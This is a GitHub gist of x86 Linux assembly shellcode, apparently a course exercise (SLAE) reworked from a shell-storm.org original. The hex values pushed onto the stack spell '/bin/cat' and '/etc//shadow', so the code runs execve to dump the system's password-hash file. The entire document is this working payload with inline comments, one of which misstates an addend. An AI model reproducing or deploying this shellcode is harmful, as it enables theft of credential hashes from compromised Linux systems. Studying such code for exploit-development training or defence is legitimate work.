Skip to content

Instantly share code, notes, and snippets.

@spiritedwolf
Created May 15, 2020 18:55
;SLAE-1342
;Original shellcode:- http://shell-storm.org/shellcode/files/shellcode-758.php
global _start
section .text
_start:
xor ecx,ecx ;Anything xor with itself would result zero
mul ecx ;The classic use of mul instruction. Now the eax:edx will become 0
push edx ;push nulls on stack
push dword 0x7461632f
push word 0x6e69 ;push 0x6e69 on stack
push word 0x622f ;push 0x622f on stack
mov ebx,esp
push ecx ;push nulls on stack
push dword 0x776f6461
push word 0x6873 ;push 0x6873 on stack
push word 0x2f2f ;push 0x2f2f on stack
push dword 0x6374652f
mov ecx,esp
push edx ;push nulls on stack
push ecx
push ebx
mov ecx,esp
add al,10 ;add 5 to al register, so 0+10=10
inc eax ;increase the value of eax by one, so now eax will be 11 i.e 0xb
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment